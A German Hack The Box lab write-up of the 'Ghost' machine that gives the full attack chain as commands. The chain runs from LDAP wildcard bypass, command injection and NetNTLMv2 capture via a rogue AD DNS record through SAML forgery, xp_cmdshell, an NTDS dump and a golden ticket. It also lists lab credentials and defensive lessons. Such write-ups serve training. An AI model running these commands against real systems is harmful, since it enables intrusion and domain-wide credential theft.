HTB · published
Ghost
Hack The Box CPTS-Track Writeup für Ghost: LDAP-Login-Bypass, Gitea Source Disclosure, Container RCE, AD DNS Abuse, NetNTLMv2 Capture, gMSA, AD FS SAML Forgery, linked SQL, IFM Dump und Golden Ticket Forest Escalation.
Metadaten
- Name: Ghost
- IP Address:
10.129.231.105 - Plattform: Windows
- Kategorie: Active Directory / Web / AD FS / MSSQL / Child Domain / Kerberos
- Schwierigkeit: Insane
- Ziel(e): User, Forest/Domain Admin
- Kurzbeschreibung des Szenarios: Ghost ist ein Windows Server 2022 Domain Controller für
ghost.htbmit mehreren Webanwendungen, AD FS, MSSQL und einem vertrauenswürdigen Child-Domain-Setupcorp.ghost.htb. Der Angriff verkettet Web-Auth-Bypass, Source Disclosure, Container-RCE, AD DNS Abuse, NetNTLMv2 Capture, gMSA-Leserechte, AD-FS-SAML-Forgery, linked SQL Impersonation, fileless Local PrivEsc, Offline-NTDS-Dump und Golden Ticket mit Extra-SID.
Reconnaissance/ Enumeration
initscan:
nmap -p- -Pn -oA scans/tcp_full 10.129.231.105
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
8008/tcp open http
8443/tcp open https-alt
9389/tcp open adws
servicescan:
nmap -sC -sV -O -Pn -p <ports> -oA scans/tcp_services 10.129.231.105
LDAP RootDSE bestätigte:
Domain: ghost.htb
Domain Controller: DC01.ghost.htb
Host-Header- und Web-Enumeration ergaben mehrere Anwendungen:
ghost.htb:8008 Ghost CMS 5.78
intranet.ghost.htb:8008 Ghost Intranet Next.js
gitea.ghost.htb:8008 Gitea 1.21.3
core.ghost.htb:8443 Ghost Core Express
federation.ghost.htb AD FS
AD FS-Metadaten und SAML-Flow waren öffentlich einsehbar. Der Core-Callback war:
https://core.ghost.htb:8443/adfs/saml/postResponse
Exploitation (Foothold)
Intranet LDAP Wildcard Bypass
Das Intranet-Login verwendete LDAP-Eingaben unsicher. Wildcards wurden nicht escaped. Mit * in beiden Feldern wurde der erste passende LDAP-User authentifiziert:
ldap-username=*
ldap-secret=*
Das erzeugte eine gültige Intranet-Session für kathryn.holland.
Die Intranet-News verrieten:
- Gitea-Migration zu Bitbucket
- Temporärer Account
gitea_temp_principal - Token liegt in LDAP
- Token besteht aus 5 bis 20 alphanumerischen Zeichen
Da Prefix-Wildcards ebenfalls funktionierten, konnte ein Oracle-Script den Token Zeichen für Zeichen extrahieren:
python3 shells/extract_intranet_token.py
gitea_temp_principal : szrr8kpc3z6onlqf
Gitea Source Disclosure zu Container RCE
Mit dem temporären Principal wurden private Repositories geklont:
ghost-dev/blog
ghost-dev/intranet
Im Blog-Code lag ein File-Read über einen extra-Parameter, der in einen Pfad konkateniert wurde. Traversal zu /proc/self/environ gab einen Dev-Key preis:
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
Das Intranet-Repo zeigte einen Dev-Endpunkt:
/api-dev/scan
Header: X-DEV-INTRANET-KEY
Der Handler baute eine Shell-Zeile unsicher:
Command::new("Bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
Command Injection:
python3 shells/intranet_rce.py 'id'
uid=0(root) gid=0(root)
Die RCE lief als root im Intranet-Container. Die Container-Umgebung enthielt AD-Bind-Credentials:
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
Lateral Movement / User Escalation
Workstation Pivot über SSH ControlMaster
Im Container lief ein aktiver SSH-ControlMaster-Prozess:
florence.ramirez@ghost.htb@dev-workstation:22
Der Socket konnte wiederverwendet werden:
ssh -l 'florence.ramirez@ghost.htb' dev-workstation
Damit wurde Zugriff auf LINUX-DEV-WS01 als florence.ramirez erreicht. Aus /tmp/krb5cc_50 wurde ihr Kerberos-TGT exportiert.
AD DNS Abuse zu NetNTLMv2 Capture
Florence hatte CREATE_CHILD auf der AD-DNS-Zone ghost.htb. Mit ihrem TGT wurde ein DNS-Record gesetzt:
bloodyAD --host dc01.ghost.htb -d ghost.htb -u florence.ramirez -k \
add dnsRecord bitbucket 10.10.15.109 --ttl 60
Damit zeigte bitbucket.ghost.htb auf die eigene VPN-IP. Ein geplanter Bitbucket-Pipeline-Check von Justin Bradley kontaktierte diesen Host. Responder fing einen HTTP-NetNTLMv2-Hash ab.
Crack:
hashcat -m 5600 loot/justin_bradley_netntlmv2.txt /usr/share/wordlists/rockyou.txt
justin.bradley : Qwertyuiop1234$$
WinRM als Justin:
evil-winrm -i dc01.ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$'
User Flag:
type C:\Users\justin.bradley\Desktop\user.txt
ec12d[REDACTED-USER-FLAG]7053
Privilege Escalation (Root / Domain)
gMSA zu AD FS Signing Key
BloodHound zeigte, dass Justin das Managed Password von adfs_gmsa$ lesen kann. Über msDS-ManagedPassword wurde der NT-Hash abgeleitet:
adfs_gmsa$ : 16b9766667b1e9f8d4c315a11707c497
Pass-the-Hash WinRM als gMSA:
evil-winrm -i dc01.ghost.htb -u 'adfs_gmsa$' -H 16b9766667b1e9f8d4c315a11707c497
Auf DC01 wurde Mandiant ADFSDump ausgeführt, um DKM-Keymaterial und das verschlüsselte AD-FS-Signing-Zertifikat zu extrahieren. Danach wurde mit ADFSpoof ein signierter SAML-Response für Administrator erzeugt.
Ziel:
https://core.ghost.htb:8443
POST an:
/adfs/saml/postResponse
Das Ghost-Core-Panel akzeptierte die gefälschte Assertion.
Linked SQL zu PRIMARY
Im Ghost-Core-Panel gab es einen SQL-Debugger. Der lokale SQL-Login web_client hatte Zugriff auf den Linked Server PRIMARY, der auf den Child-Domain-Controller PRIMARY.corp.ghost.htb zeigte.
Der linked Login bridge_corp durfte sa impersonieren:
EXEC (
'EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell ''whoami /all'';
REVERT'
) AT [PRIMARY]
xp_cmdshell lief als:
NT SERVICE\MSSQLSERVER
PRIMARY
SeImpersonatePrivilege: Enabled
Defender entfernte klassische Potato-Executables. Daher wurde EfsPotato.cs fileless über PowerShell Add-Type kompiliert und per Reflection ausgeführt.
Ergebnis:
nt authority\system
PRIMARY
Child Domain IFM Dump
Als SYSTEM auf PRIMARY wurde ein IFM-Snapshot erstellt:
ntdsutil "activate instance ntds" "ifm" "create full C:\ProgramData\corp_ifm" quit quit
Da SMB-Outbound blockiert war, wurde das Archiv per HTTP hochgeladen. Offline-Dump:
secretsdump.py -ntds 'loot/corp_ifm/Active Directory/ntds.dit' \
-system loot/corp_ifm/registry/SYSTEM LOCAL
Wichtige Werte:
corp.ghost.htb SID:
S-1-5-21-2034262909-2733679486-179904498
krbtgt NT hash:
69eb46aa347a8c68edb99be2725403ab
krbtgt AES-256:
b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d
Golden Ticket mit Extra-SID
Da corp.ghost.htb eine Child-Domain im selben Forest ist, wurde ein Child-Domain-Administrator-Golden-Ticket mit Forest-Root Enterprise-Admin-SID als Extra-SID erzeugt:
Root Enterprise Admin SID:
S-1-5-21-4084500788-938703357-3654145966-519
RC4 schlug mit KDC_ERR_TGT_REVOKED fehl. Mit AES-256 funktionierte das Ticket:
ticketer.py \
-aesKey b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d \
-domain-sid S-1-5-21-2034262909-2733679486-179904498 \
-domain corp.ghost.htb \
-extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
Administrator
Kerberos-authentifizierte WMI-Ausführung gegen DC01 lieferte die Root-Flag:
KRB5CCNAME=loot/tickets/Administrator.ccache wmiexec.py -k -no-pass \
dc01.ghost.htb 'type C:\Users\Administrator\Desktop\root.txt'
40f1a[REDACTED-ROOT-FLAG]2101
Post-Exploitation
- User Flag:
ec12d[REDACTED-USER-FLAG]7053 - Root Flag:
40f1a[REDACTED-ROOT-FLAG]2101 - Wichtige Accounts:
gitea_temp_principal,intranet_principal,florence.ramirez,justin.bradley,adfs_gmsa$,Administrator - Wichtige Systeme:
DC01.ghost.htb,LINUX-DEV-WS01,PRIMARY.corp.ghost.htb - Wichtige Artefakte: Gitea-Repos, AD FS DKM/Signing PFX, NetNTLMv2 Hash, IFM Snapshot, Child
krbtgtAES-Key - Wichtige Technik: LDAP Wildcard Bypass, Token Oracle, Container RCE, AD DNS Abuse, gMSA Read, AD FS SAML Forgery, linked SQL, fileless EfsPotato, Golden Ticket Extra-SID
- Cleanup: Temporäre DNS-Records, Listener, Relays und HTTP/SMB-Transferprozesse stoppen.
Lessons Learned
- LDAP-Filter escapen: Wildcards in Login-Filtern können Authentication Bypass und Token-Oracles erzeugen.
- Dev-Endpunkte sind produktive Angriffsfläche: Temporäre Gitea-Accounts und
/api-dev/*waren der Einstieg in die komplette Kette. - AD DNS ist mächtig: Schreibrechte in DNS-Zonen können geplante Jobs zu Credential-Capture zwingen.
- gMSA-Leserechte sind kritisch: Wer
msDS-ManagedPasswordlesen darf, besitzt praktisch den Service-Account. - AD FS Signing Keys sind Identity-Kronjuwelen: Damit lassen sich vertrauenswürdige SAML-Assertions erzeugen.
- Child-Domains sind Forest-Risiko: Ein Child-
krbtgtplus Extra-SID kann bei passenden Trust-Bedingungen bis zur Forest-Root eskalieren.
Notizen
- Ghost ist weniger eine einzelne Schwachstelle als eine Kette aus Trust Boundaries.
- Der User-Pfad endet bei Justin, aber der Root-Pfad beginnt eigentlich erst dort mit gMSA und AD FS.
- AES-Signing war beim Golden Ticket entscheidend; RC4 wurde vom KDC abgelehnt.
- Fileless EfsPotato war notwendig, weil ausführbare Payloads durch Defender entfernt wurden.